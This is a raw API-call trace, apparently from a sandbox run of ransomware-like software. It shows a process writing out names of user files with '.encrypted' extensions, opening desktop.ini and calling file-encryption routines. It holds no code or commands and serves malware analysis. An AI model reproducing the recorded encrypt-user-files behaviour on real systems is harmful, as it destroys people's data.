[0028.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.encrypted.jpg\r\n", cchWideChar=66, lpMultiByteStr=0xe8f40514a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 66 [0028.962] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a010*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a010*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0028.962] CloseHandle (hObject=0x1fc) returned 1 [0028.963] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.963] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.964] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.964] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.964] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.964] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.964] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.965] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.965] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.966] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.966] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Saved Games\\desktop.ini", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0028.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Saved Games\\desktop.ini", cchWideChar=45, lpMultiByteStr=0xe8f404c150, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Saved Games\\desktop.ini", lpUsedDefaultChar=0x0) returned 45 [0028.967] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0028.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=45, lpWideCharStr=0xe8f40624f0, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Saved Games\\desktop.ini") returned 45 [0028.967] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.968] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.968] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.968] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.968] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178860, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.968] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.969] CloseHandle (hObject=0x1fc) returned 1 [0028.969] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.969] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.969] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.969] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.970] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.970] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.970] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.970] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.970] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.970] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.970] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.970] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.970] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.970] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.971] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.971] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.971] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.972] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.972] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.972] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.972] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.972] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.972] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.972] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.973] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.973] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.973] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.973] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.973] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.974] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.974] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.974] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 